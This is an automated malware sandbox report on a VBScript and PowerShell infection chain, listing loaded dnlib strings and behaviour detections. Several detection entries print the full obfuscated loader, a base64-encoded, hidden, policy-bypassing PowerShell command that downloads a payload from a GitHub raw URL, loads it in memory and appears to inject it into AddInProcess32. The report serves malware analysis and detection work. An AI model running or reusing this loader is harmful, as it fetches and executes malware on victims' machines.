Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.managed source: powershell.exe, 00000004.00000002.2453863224.00007FFD34430000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 00000004.00000002.2443276080.0000022C19DB0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C1267B000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("powershell -command $Codigo = 'LiggJHBzSE9NRVsyMV0rJHBTSE9NZVszNF0rJ3gnKSg", "0", "false");

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: $Codigo = 'LiggJHBzSE9NRVsyMV0rJHBTSE9NZVszNF0rJ3gnKSgoKCdDJysnaVN1cmwgPScrJyBmJysnbVVodHRwczovJysnL3JhdycrJy5nJysnaXQnKydodWJ1JysncycrJ2VyJysnYycrJ28nKydudGVudCcrJy5jb20vTm8nKydEZXRlJysnY3RPbicrJy8nKydObycrJ0RlJysndGVjdE8nKyduL3JlZicrJ3MvJysnaGVhZHMnKycvJysnbWFpJysnbi9EJysnZXQnKydhaCcrJ05vdGgtVi50JysneHQnKydmbVU7IENpU2Jhc2U2NENvJysnbnRlJysnbnQgPSAoTmV3LU8nKydiJysnamVjdCcrJyBTeXN0ZW0uTicrJ2V0LldlYkMnKydsaScrJ2VudCkuJysnRG93bmxvYScrJ2RTJysndHInKydpbmcnKycoQ2knKydTdXInKydsKTsgQycrJ2lTYicrJ2knKyduYScrJ3J5JysnQ28nKydudCcrJ2VudCA9JysnICcrJ1tTeXN0ZScrJ20uQ29uJysndmVydCcrJ106OkZyb21CYXNlNjRTJysndCcrJ3JpJysnbmcoJysnQycrJ2lTYmFzZTY0Q29uJysndGVudCk7JysnIEMnKydpUycrJ2Fzc2VtYicrJ2x5ID0nKycgJysnW1InKydlZmxlY3RpbycrJ24uQXMnKydzZW0nKydibHknKyddOjpMbycrJ2FkKCcrJ0MnKydpU2JpJysnbicrJ2FyeScrJ0MnKydvbnRlbicrJ3QnKycpJysnOyBbZG5saWIuSU8nKycuSG9tZV06OlZBSSgnKydhJysnM1UwL2RpeUtGL2QvZWUuJysnZXQnKydzJysnYXAnKycvLzpzcCcrJ3R0aGEzVSwgYTMnKydVZGVzJysnYScrJ3RpJysndicrJ2EnKydkb2EzVScrJywnKycgYScrJzNVZGUnKydzJysnYXRpdmEnKydkbycrJ2EzJysnVSwgYTNVZGUnKydzYXQnKydpJysndmFkb2EzVSwgYTNVQScrJ2RkJysnSW5QJysncm9jZScrJ3NzMzInKydhM1UsIGEzVWEnKyczVSxhM1VhJysnM1UpJykgLVJFcGxBY2UgIChbQ2hBcl05NytbQ2hBcl01MStbQ2hBcl04NSksW0NoQXJdMzQgLWNyZVBMYUNFICAnZm1VJyxbQ2hBcl0zOSAgLVJFcGxBY2UgIChbQ2hBcl02NytbQ2hBcl0xMDUrW0NoQXJdODMpLFtDaEFyXTM2KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD$global:?

Obfuscated command line found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $psHOME[21]+$pSHOMe[34]+'x')((('C'+'iSurl ='+' f'+'mUhttps:/'+'/raw'+'.g'+'it'+'hubu'+'s'+'er'+'c'+'o'+'ntent'+'.com/No'+'Dete'+'ctOn'+'/'+'No'+'De'+'tectO'+'n/ref'+'s/'+'heads'+'/'+'mai'+'n/D'+'et'+'ah'+'Noth-V.t'+'xt'+'fmU; CiSbase64Co'+'nte'+'nt = (New-O'+'b'+'ject'+' System.N'+'et.WebC'+'li'+'ent).'+'Downloa'+'dS'+'tr'+'ing'+'(Ci'+'Sur'+'l); C'+'iSb'+'i'+'na'+'ry'+'Co'+'nt'+'ent ='+' '+'[Syste'+'m.Con'+'vert'+']::FromBase64S'+'t'+'ri'+'ng('+'C'+'iSbase64Con'+'tent);'+' C'+'iS'+'assemb'+'ly ='+' '+'[R'+'eflectio'+'n.As'+'sem'+'bly'+']::Lo'+'ad('+'C'+'iSbi'+'n'+'ary'+'C'+'onten'+'t'+')'+'; [dnlib.IO'+'.Home]::VAI('+'a'+'3U0/diyKF/d/ee.'+'et'+'s'+'ap'+'//:sp'+'ttha3U, a3'+'Udes'+'a'+'ti'+'v'+'a'+'doa3U'+','+' a'+'3Ude'+'s'+'ativa'+'do'+'a3'+'U, a3Ude'+'sat'+'i'+'vadoa3U, a3UA'+'dd'+'InP'+'roce'+'ss32'+'a3U, a3Ua'+'3U,a3Ua'+'3U)') -REplAce ([ChAr]97+[ChAr]51+[ChAr]85),[ChAr]34 -crePLaCE 'fmU',[ChAr]39 -REplAce ([ChAr]67+[ChAr]105+[ChAr]83),[ChAr]36) )"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $psHOME[21]+$pSHOMe[34]+'x')((('C'+'iSurl ='+' f'+'mUhttps:/'+'/raw'+'.g'+'it'+'hubu'+'s'+'er'+'c'+'o'+'ntent'+'.com/No'+'Dete'+'ctOn'+'/'+'No'+'De'+'tectO'+'n/ref'+'s/'+'heads'+'/'+'mai'+'n/D'+'et'+'ah'+'Noth-V.t'+'xt'+'fmU; CiSbase64Co'+'nte'+'nt = (New-O'+'b'+'ject'+' System.N'+'et.WebC'+'li'+'ent).'+'Downloa'+'dS'+'tr'+'ing'+'(Ci'+'Sur'+'l); C'+'iSb'+'i'+'na'+'ry'+'Co'+'nt'+'ent ='+' '+'[Syste'+'m.Con'+'vert'+']::FromBase64S'+'t'+'ri'+'ng('+'C'+'iSbase64Con'+'tent);'+' C'+'iS'+'assemb'+'ly ='+' '+'[R'+'eflectio'+'n.As'+'sem'+'bly'+']::Lo'+'ad('+'C'+'iSbi'+'n'+'ary'+'C'+'onten'+'t'+')'+'; [dnlib.IO'+'.Home]::VAI('+'a'+'3U0/diyKF/d/ee.'+'et'+'s'+'ap'+'//:sp'+'ttha3U, a3'+'Udes'+'a'+'ti'+'v'+'a'+'doa3U'+','+' a'+'3Ude'+'s'+'ativa'+'do'+'a3'+'U, a3Ude'+'sat'+'i'+'vadoa3U, a3UA'+'dd'+'InP'+'roce'+'ss32'+'a3U, a3Ua'+'3U,a3Ua'+'3U)') -REplAce ([ChAr]97+[ChAr]51+[ChAr]85),[ChAr]34 -crePLaCE 'fmU',[ChAr]39 -REplAce ([ChAr]67+[ChAr]105+[ChAr]83),[ChAr]36) )"			Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHBzSE9NRVsyMV0rJHBTSE9NZVszNF0rJ3gnKSgoKCdDJysnaVN1cmwgPScrJyBmJysnbVVodHRwczovJysnL3JhdycrJy5nJysnaXQnKydodWJ1JysncycrJ2VyJysnYycrJ28nKydudGVudCcrJy5jb20vTm8nKydEZXRlJysnY3RPbicrJy8nKydObycrJ0RlJysndGVjdE8nKyduL3JlZicrJ3MvJysnaGVhZHMnKycvJysnbWFpJysnbi9EJysnZXQnKydhaCcrJ05vdGgtVi50JysneHQnKydmbVU7IENpU2Jhc2U2NENvJysnbnRlJysnbnQgPSAoTmV3LU8nKydiJysnamVjdCcrJyBTeXN0ZW0uTicrJ2V0LldlYkMnKydsaScrJ2VudCkuJysnRG93bmxvYScrJ2RTJysndHInKydpbmcnKycoQ2knKydTdXInKydsKTsgQycrJ2lTYicrJ2knKyduYScrJ3J5JysnQ28nKydudCcrJ2VudCA9JysnICcrJ1tTeXN0ZScrJ20uQ29uJysndmVydCcrJ106OkZyb21CYXNlNjRTJysndCcrJ3JpJysnbmcoJysnQycrJ2lTYmFzZTY0Q29uJysndGVudCk7JysnIEMnKydpUycrJ2Fzc2VtYicrJ2x5ID0nKycgJysnW1InKydlZmxlY3RpbycrJ24uQXMnKydzZW0nKydibHknKyddOjpMbycrJ2FkKCcrJ0MnKydpU2JpJysnbicrJ2FyeScrJ0MnKydvbnRlbicrJ3QnKycpJysnOyBbZG5saWIuSU8nKycuSG9tZV06OlZBSSgnKydhJysnM1UwL2RpeUtGL2QvZWUuJysnZXQnKydzJysnYXAnKycvLzpzcCcrJ3R0aGEzVSwgYTMnKydVZGVzJysnYScrJ3RpJysndicrJ2EnKydkb2EzVScrJywnKycgYScrJzNVZGUnKydzJysnYXRpdmEnKydkbycrJ2EzJysnVSwgYTNVZGUnKydzYXQnKydpJysndmFkb2EzVSwgYTNVQScrJ2RkJysnSW5QJysncm9jZScrJ3NzMzInKydhM1UsIGEzVWEnKyczVSxhM1VhJysnM1UpJykgLVJFcGxBY2UgIChbQ2hBcl05NytbQ2hBcl01MStbQ2hBcl04NSksW0NoQXJdMzQgLWNyZVBMYUNFICAnZm1VJyxbQ2hBcl0zOSAgLVJFcGxBY2UgIChbQ2hBcl02NytbQ2hBcl0xMDUrW0NoQXJdODMpLFtDaEFyXTM2KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $psHOME[21]+$pSHOMe[34]+'x')((('C'+'iSurl ='+' f'+'mUhttps:/'+'/raw'+'.g'+'it'+'hubu'+'s'+'er'+'c'+'o'+'ntent'+'.com/No'+'Dete'+'ctOn'+'/'+'No'+'De'+'tectO'+'n/ref'+'s/'+'heads'+'/'+'mai'+'n/D'+'et'+'ah'+'Noth-V.t'+'xt'+'fmU; CiSbase64Co'+'nte'+'nt = (New-O'+'b'+'ject'+' System.N'+'et.WebC'+'li'+'ent).'+'Downloa'+'dS'+'tr'+'ing'+'(Ci'+'Sur'+'l); C'+'iSb'+'i'+'na'+'ry'+'Co'+'nt'+'ent ='+' '+'[Syste'+'m.Con'+'vert'+']::FromBase64S'+'t'+'ri'+'ng('+'C'+'iSbase64Con'+'tent);'+' C'+'iS'+'assemb'+'ly ='+' '+'[R'+'eflectio'+'n.As'+'sem'+'bly'+']::Lo'+'ad('+'C'+'iSbi'+'n'+'ary'+'C'+'onten'+'t'+')'+'; [dnlib.IO'+'.Home]::VAI('+'a'+'3U0/diyKF/d/ee.'+'et'+'s'+'ap'+'//:sp'+'ttha3U, a3'+'Udes'+'a'+'ti'+'v'+'a'+'doa3U'+','+' a'+'3Ude'+'s'+'ativa'+'do'+'a3'+'U, a3Ude'+'sat'+'i'+'vadoa3U, a3UA'+'dd'+'InP'+'roce'+'ss32'+'a3U, a3Ua'+'3U,a3Ua'+'3U)') -REplAce ([ChAr]97+[ChAr]51+[ChAr]85),[ChAr]34 -crePLaCE 'fmU',[ChAr]39 -REplAce ([ChAr]67+[ChAr]105+[ChAr]83),[ChAr]36) )"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHBzSE9NRVsyMV0rJHBTSE9NZVszNF0rJ3gnKSgoKCdDJysnaVN1cmwgPScrJyBmJysnbVVodHRwczovJysnL3JhdycrJy5nJysnaXQnKydodWJ1JysncycrJ2VyJysnYycrJ28nKydudGVudCcrJy5jb20vTm8nKydEZXRlJysnY3RPbicrJy8nKydObycrJ0RlJysndGVjdE8nKyduL3JlZicrJ3MvJysnaGVhZHMnKycvJysnbWFpJysnbi9EJysnZXQnKydhaCcrJ05vdGgtVi50JysneHQnKydmbVU7IENpU2Jhc2U2NENvJysnbnRlJysnbnQgPSAoTmV3LU8nKydiJysnamVjdCcrJyBTeXN0ZW0uTicrJ2V0LldlYkMnKydsaScrJ2VudCkuJysnRG93bmxvYScrJ2RTJysndHInKydpbmcnKycoQ2knKydTdXInKydsKTsgQycrJ2lTYicrJ2knKyduYScrJ3J5JysnQ28nKydudCcrJ2VudCA9JysnICcrJ1tTeXN0ZScrJ20uQ29uJysndmVydCcrJ106OkZyb21CYXNlNjRTJysndCcrJ3JpJysnbmcoJysnQycrJ2lTYmFzZTY0Q29uJysndGVudCk7JysnIEMnKydpUycrJ2Fzc2VtYicrJ2x5ID0nKycgJysnW1InKydlZmxlY3RpbycrJ24uQXMnKydzZW0nKydibHknKyddOjpMbycrJ2FkKCcrJ0MnKydpU2JpJysnbicrJ2FyeScrJ0MnKydvbnRlbicrJ3QnKycpJysnOyBbZG5saWIuSU8nKycuSG9tZV06OlZBSSgnKydhJysnM1UwL2RpeUtGL2QvZWUuJysnZXQnKydzJysnYXAnKycvLzpzcCcrJ3R0aGEzVSwgYTMnKydVZGVzJysnYScrJ3RpJysndicrJ2EnKydkb2EzVScrJywnKycgYScrJzNVZGUnKydzJysnYXRpdmEnKydkbycrJ2EzJysnVSwgYTNVZGUnKydzYXQnKydpJysndmFkb2EzVSwgYTNVQScrJ2RkJysnSW5QJysncm9jZScrJ3NzMzInKydhM1UsIGEzVWEnKyczVSxhM1VhJysnM1UpJykgLVJFcGxBY2UgIChbQ2hBcl05NytbQ2hBcl01MStbQ2hBcl04NSksW0NoQXJdMzQgLWNyZVBMYUNFICAnZm1VJyxbQ2hBcl0zOSAgLVJFcGxBY2UgIChbQ2hBcl02NytbQ2hBcl0xMDUrW0NoQXJdODMpLFtDaEFyXTM2KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $psHOME[21]+$pSHOMe[34]+'x')((('C'+'iSurl ='+' f'+'mUhttps:/'+'/raw'+'.g'+'it'+'hubu'+'s'+'er'+'c'+'o'+'ntent'+'.com/No'+'Dete'+'ctOn'+'/'+'No'+'De'+'tectO'+'n/ref'+'s/'+'heads'+'/'+'mai'+'n/D'+'et'+'ah'+'Noth-V.t'+'xt'+'fmU; CiSbase64Co'+'nte'+'nt = (New-O'+'b'+'ject'+' System.N'+'et.WebC'+'li'+'ent).'+'Downloa'+'dS'+'tr'+'ing'+'(Ci'+'Sur'+'l); C'+'iSb'+'i'+'na'+'ry'+'Co'+'nt'+'ent ='+' '+'[Syste'+'m.Con'+'vert'+']::FromBase64S'+'t'+'ri'+'ng('+'C'+'iSbase64Con'+'tent);'+' C'+'iS'+'assemb'+'ly ='+' '+'[R'+'eflectio'+'n.As'+'sem'+'bly'+']::Lo'+'ad('+'C'+'iSbi'+'n'+'ary'+'C'+'onten'+'t'+')'+'; [dnlib.IO'+'.Home]::VAI('+'a'+'3U0/diyKF/d/ee.'+'et'+'s'+'ap'+'//:sp'+'ttha3U, a3'+'Udes'+'a'+'ti'+'v'+'a'+'doa3U'+','+' a'+'3Ude'+'s'+'ativa'+'do'+'a3'+'U, a3Ude'+'sat'+'i'+'vadoa3U, a3UA'+'dd'+'InP'+'roce'+'ss32'+'a3U, a3Ua'+'3U,a3Ua'+'3U)') -REplAce ([ChAr]97+[ChAr]51+[ChAr]85),[ChAr]34 -crePLaCE 'fmU',[ChAr]39 -REplAce ([ChAr]67+[ChAr]105+[ChAr]83),[ChAr]36) )"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD342100BD pushad ; iretd	2_2_00007FFD342100C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD34210952 push E95B7AD0h; ret	2_2_00007FFD342109C9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD341F00BD pushad ; iretd	4_2_00007FFD341F00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD341F08ED push E95B7C1Ch; ret	4_2_00007FFD341F0909
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD341F75E6 push esp; iretd	4_2_00007FFD341F75EC
